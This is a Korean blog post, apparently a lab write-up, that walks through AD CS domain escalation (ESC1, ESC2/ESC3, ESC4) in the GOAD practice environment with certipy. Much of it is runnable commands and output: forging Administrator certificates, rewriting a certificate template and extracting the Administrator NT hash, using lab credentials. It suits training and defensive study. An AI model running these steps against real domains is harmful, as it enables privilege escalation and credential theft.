Post

GOAD ADCS

이번 포스팅은 ADCS(Active Directory Certificate Services)에서 발생할 수 있는 Domain Escalation에 대해서 다뤄볼 예정이다.

구축한 GOAD에서 essos.local 도메인에서 탈취할 수 있는 계정이 존재하지않았다. 하지만 개발자 블로그를 통해 각 취약점에 대한 공격 시나리오를 보면 뜬금없이 사용되는 계정들이 있는데 이에 대한 히스토리를 찾을 수 없었다. 개발자 트위터를 확인하여 2023.12.31에 essos.local 도메인에 AS-REP Roastring 시나리오가 추가된 것을 확인할 수 있었지만 관련된 내용은 이미 다루었기에 essos.local 도메인에서 khal.drogo:horse 라는 계정 정보는 기본적으로 주어지는 컨셉이라고 생각하고 진행하였다.

ADCS

ADCS와 관련된 공격을 진행하기 앞서 관련된 용어들에 대한 정리를 하면 다음과 같다.

  • CA(Certificate Authority) : 공개키 기반 인증서를 발급 및 관리하는 주체
  • Cerificate : 공개키 암호 알고리즘이 적용된 인증서로 주로 TLS/SSL, 전자상거래, 전자 서명 등을 위해 사용되지만 Active Directory에서는 사용자 인증, 코드 서명, 파일 시스템 암호화, 서버 인증 등에 사용된다. (X.509 포맷)
  • Certificate Template : 발급한 인증서들의 양식으로 특정한 설정과 정책으로 이루어져있다.
  • Certificate Signing Request : 인증서를 발급받기 위한 요청으로 대부분 CA에게 요청된다.
  • Subject : 인증서를 발급받는 주체
  • SAN(Subject Alternative Name) : 인증서를 발급받는 주체의 또 다른 이름(Alias)
  • EKU(Entended Key Usages) : 인증서의 용도

먼저 ADCS를 BloodHound에서 한눈에 확인할 수 있도록 획득한 north.sevenkingdoms.local 도메인 유저를 이용하여 certipy를 통해 각 도메인의 인증서를 열거한다.

kingslanding.sevenkingdoms.local

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿kali)-[~/…/GOAD/Vuln/ADCS/BloodHound]
└─# certipy find -u 'samwell.tarly@north.sevenkingdoms.local' -p 'Heartsbane' -dc-ip '192.168.56.10' -old-bloodhound
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Trying to get CA configuration for 'SEVENKINGDOMS-CA' via CSRA
[!] Got error while trying to get CA configuration for 'SEVENKINGDOMS-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'SEVENKINGDOMS-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'SEVENKINGDOMS-CA'
[*] Saved BloodHound data to '20240112001936_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @BloodHoundAD

winterfell.north.sevenkingdoms.local

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(root㉿kali)-[~/…/GOAD/Vuln/ADCS/BloodHound]
└─# certipy find -u 'samwell.tarly@north.sevenkingdoms.local' -p 'Heartsbane' -dc-ip '192.168.56.11' -old-bloodhound
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Trying to get CA configuration for 'SEVENKINGDOMS-CA' via CSRA
[!] Got error while trying to get CA configuration for 'SEVENKINGDOMS-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'SEVENKINGDOMS-CA' via RRP
[*] Got CA configuration for 'SEVENKINGDOMS-CA'
[!] Failed to lookup user with SID 'S-1-5-21-2134679327-2084590184-347331679-519'
[!] Failed to lookup user with SID 'S-1-5-21-2134679327-2084590184-347331679-498'
[!] Failed to lookup user with SID 'S-1-5-21-2134679327-2084590184-347331679-512'
[!] Failed to lookup user with SID 'S-1-5-21-2134679327-2084590184-347331679-516'
[!] Failed to lookup user with SID 'S-1-5-21-2134679327-2084590184-347331679-553'
[!] Failed to lookup user with SID 'S-1-5-21-2134679327-2084590184-347331679-515'
[!] Failed to lookup user with SID 'S-1-5-21-2134679327-2084590184-347331679-513'
[*] Saved BloodHound data to '20240112001948_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @BloodHoundAD

meereen.essos.local

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿kali)-[~/…/GOAD/Vuln/ADCS/BloodHound]
└─# certipy find -u 'samwell.tarly@north.sevenkingdoms.local' -p 'Heartsbane' -dc-ip '192.168.56.12' -old-bloodhound
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 38 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 16 enabled certificate templates
[*] Trying to get CA configuration for 'ESSOS-CA' via CSRA
[!] Got error while trying to get CA configuration for 'ESSOS-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'ESSOS-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'ESSOS-CA'
[*] Saved BloodHound data to '20240112001958_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @BloodHoundAD

BloodHound

BloodHound를 통해 인증서 템플릿 정보를 열거하거나 Domain Escalation이 가능한 인증서 템플릿을 쉽게 확인할 수 있도록 제작된 커스텀 쿼리를 이용할 수 있다.

관련된 내용은 이전 포스팅인 HTB Escape - Certipy Tips에서 확인할 수 있다.

위에서 확보한 각 도메인 별 인정서 정보가 담긴 데이터 파일을 BloodHound에 로드한다. 이후 활성화된 인증서 템플릿을 확인하면 다음과 같이 확인할 수 있다.

Desktop View

ESC1

ADCS의 인증서 템플릿에는 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT라는 설정이 존재하는데, 해당 설정이 활성화 되어있을 경우 해당 인증서 템플릿은 공격자가 인증서 서명 요청 시 특정 유저를 주체로 서명을 요청할 수 있다.

Requirements

ESC1의 조건으로는 첫번째로 위에서 얘기한 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 설정이 활성화되어 있어야한다. 두번째로 해당 인증서 템플릿에 대한 인증이 가능한 유저 계정이 필요하며 해당 유저는 인증서 발급 권한이 허용되어 있어야한다.

certipy를 통해 ESC1이라는 인증서 템플릿에서 ESC1 시나리오가 가능할 것으로 파악되었다.

Desktop View

BloodHound의 Find Misconfigured Certificate Templates (ESC1) 커스텀 쿼리를 통해서도 ESC1 인증서 템플릿이 ESC1 시나리오에 취약한 것을 확인할 수 있다.

Desktop View

이제 HackTricks - AD CS Domain Escalation - ESC1 Abuse를 참고하여 certipy를 통해 취약한 인증서인 ESC1 인증서 템플릿 통한 권한 상승을 진행한다.

위에서 언급한것과 같이 취약한 인증서는 특정 유저를 주체로 인증서를 요청할 수 있는 점을 이용하여 아래와 같은 certipy 커멘드를 실행한다.

1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~/…/GOAD/Vuln/ADCS/ESC1]
└─# certipy req -u 'khal.drogo@essos.local' -p 'horse' -dc-ip '192.168.56.12' -target 'braavos.essos.local' -ns '192.168.56.12' -template 'ESC1' -ca 'ESSOS-CA' -upn 'Administrator@essos.local'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 3
[*] Got certificate with UPN 'Administrator@essos.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

발급받은 인증서는 유저 또는 컴퓨터 패스워드가 변경되어도 사용이 가능하다.

이제 Administrator를 주체로한 인증서를 이용하여 Administrator 계정의 해시를 추출할 수 있다.

1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~/…/GOAD/Vuln/ADCS/ESC1]
└─# certipy auth -pfx 'administrator.pfx' -u 'Administrator' -domain 'essos.local' -dc-ip '192.168.56.12' -ns '192.168.56.12'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@essos.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@essos.local': aad3b435b51404eeaad3b435b51404ee:54296a48cd30259cc88095373cec24da

ESC2 / ESC3

ESC2는 인증서 템플릿이 어떤 목적으로도 사용될 수 있는 경우 발생할 수 있으며, certipy를 통해 취약한 인증서를 파악할 경우 아래와 같은 ESC2 시나리오에 취약한 인증서 설정을 확인할 수 있다.

Desktop View

위와 같이 인증서 템플릿을 어떤 목적으로든 사용될 수 있을 경우 대부분의 인증서 템플릿에서 ESC3 시나리오와 동일하게 이용될 수 있다고한다.

ESC3은 인증서 템플릿이 인증서 요청 에이전트 EKU를 지정하는 경우로 EKU는 다른 사용자를 대신하여 인증서를 요청하는데 사용될 수 있다.

위 내용을 종합하여 취약한 인증서 템플릿인 ESC2 인증서를 발급받은 요청을 진행한다.

1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~/…/GOAD/Vuln/ADCS/ESC2,3]
└─# certipy req -u 'khal.drogo@essos.local' -p 'horse' -dc-ip '192.168.56.12' -target 'braavos.essos.local' -ns '192.168.56.12' -template 'ESC2' -ca 'ESSOS-CA'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 4
[*] Got certificate with UPN 'khal.drogo@essos.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'khal.drogo.pfx'

이후 발급받은 Certificate Request Angent 인증서를 이용하여 Administrator를 대신하여 인증서를 요청할 수 있다.

1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~/…/GOAD/Vuln/ADCS/ESC2,3]
└─# certipy req -u 'khal.drogo@essos.local' -p 'horse' -dc-ip '192.168.56.12' -target 'braavos.essos.local' -ns '192.168.56.12' -template User -ca ESSOS-CA -on-behalf-of 'essos\administrator' -pfx khal.drogo.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 5
[*] Got certificate with UPN 'administrator@essos.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

발급받은 Administrator 인증서를 통해 이전 시나리오에와 동일하게 Administrator의 해시를 추출할 수 있다.

1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~/…/GOAD/Vuln/ADCS/ESC2,3]
└─# certipy auth -pfx 'administrator.pfx' -u 'Administrator' -domain 'essos.local' -dc-ip '192.168.56.12' -ns '192.168.56.12'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@essos.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@essos.local': aad3b435b51404eeaad3b435b51404ee:54296a48cd30259cc88095373cec24da

ESC4

ESC4는 특정 사용자에게 인증서 템플릿에 대한 쓰기 권한이 있는 경우 인증서 템플릿을 구성하는 설정을 변경하여 ESC1에 취약하도록 만들어 악용할 수 있다.

ESC4 시나리오를 악용할 수 있는 인증서 템플릿에 대한 흥미로운 권한들은 다음과 같다.

  • Owner : 개체에 대한 암시적 모든 권한을 가지며 모든 속성을 편집할 수 있다.
  • FullControl : 개체에 대한 모든 권한을 가지며 모든 속석을 편집할 수 있다.
  • WriteOwner : 소유자를 공격자가 제어하는 주체로 수정할 수 있다.
  • WriteProperty : 모든 속성을 편집할 수 있다.

우리가 활용할 수 있는 확보한 계정인 khal.drogo 계정을 BloodHound의 First Degree Object Control를 통해 권한을 확인하면 아래와 같이 ESC4 인증서에 대한 GenericAll 권한을 확인할 수 있으며 일반적인 모든 권한을 가지고있는 것을 확인할 수 있다.

Desktop View

위에서 언급한 것처럼 아래와 같이 ESC4 인증서 템플릿을 ESC1 시나리오에 취약하도록 설정을 변경한다.

certipy에서 -save-old 옵션을 사용할 경우 기본적으로 ESC1 취약하도록 설정을 덮어쓰며, 기존 설정은 대상 인증서 템플릿 이름으로 json 파일이 저장되어 공격 이후 설정을 복원하는데 유용하게 이용될 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(root㉿kali)-[~/…/GOAD/Vuln/ADCS/ESC4]
└─# certipy template -u 'khal.drogo@essos.local' -p 'horse' -dc-ip '192.168.56.12' -target-ip '192.168.56.12' -ns '192.168.56.12' -template 'ESC4' -save-old -debug
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[+] Authenticating to LDAP server
[+] Bound to ldaps://192.168.56.12:636 - ssl
[+] Default path: DC=essos,DC=local
[+] Configuration path: CN=Configuration,DC=essos,DC=local
[*] Saved old configuration for 'ESC4' to 'ESC4.json'
[*] Updating certificate template 'ESC4'
[+] MODIFY_DELETE:
[+]     pKIExtendedKeyUsage: []
[+]     msPKI-Certificate-Application-Policy: []
[+]     msPKI-RA-Application-Policies: []
[+] MODIFY_REPLACE:
[+]     nTSecurityDescriptor: [b'\x01\x00\x04\x9c0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x02\x00\x1c\x00\x01\x00\x00\x00\x00\x00\x14\x00\xff\x01\x0f\x00\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\xc8\xa3\x1f\xdd\xe9\xba\xb8\x90,\xaes\xbb\xf4\x01\x00\x00']
[+]     flags: [b'0']
[+]     pKIDefaultKeySpec: [b'2']
[+]     pKIKeyUsage: [b'\x86\x00']
[+]     pKIMaxIssuingDepth: [b'-1']
[+]     pKICriticalExtensions: [b'2.5.29.19', b'2.5.29.15']
[+]     pKIExpirationPeriod: [b'\x00@\x1e\xa4\xe8e\xfa\xff']
[+]     pKIDefaultCSPs: [b'1,Microsoft Enhanced Cryptographic Provider v1.0']
[+]     msPKI-RA-Signature: [b'0']
[+]     msPKI-Enrollment-Flag: [b'0']
[+]     msPKI-Certificate-Name-Flag: [b'1']
[*] Successfully updated 'ESC4'

ESC4 인증서 템플릿을 ESC1 시나리오에 취약한 설정으로 변경한 후 기존 ESC1 시나리오에서와 동일하게 아래와 같이 Administrator를 주체로하여 인증서를 요청하면 인증서를 발급 받을 수 있다.

1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~/…/GOAD/Vuln/ADCS/ESC4]
└─# certipy req -u 'khal.drogo@essos.local' -p 'horse' -dc-ip '192.168.56.12' -target 'braavos.essos.local' -ns '192.168.56.12' -template 'ESC4' -ca 'ESSOS-CA' -upn 'Administrator@essos.local'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 7
[*] Got certificate with UPN 'Administrator@essos.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

이제 다시 ESC4의 기존 구성으로 롤백하기위해 아래와 같이 인증서 템플릿에 대한 설정 백업 파일을 지정하여 롤백할 수 있다.

1
2
3
4
5
6
┌──(root㉿kali)-[~/…/GOAD/Vuln/ADCS/ESC4]
└─# certipy template -u 'khal.drogo@essos.local' -p 'horse' -dc-ip '192.168.56.12' -target-ip '192.168.56.12' -ns '192.168.56.12' -template 'ESC4' -configuration 'ESC4.json'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating certificate template 'ESC4'
[*] Successfully updated 'ESC4'
This post is licensed under CC BY 4.0 by the author.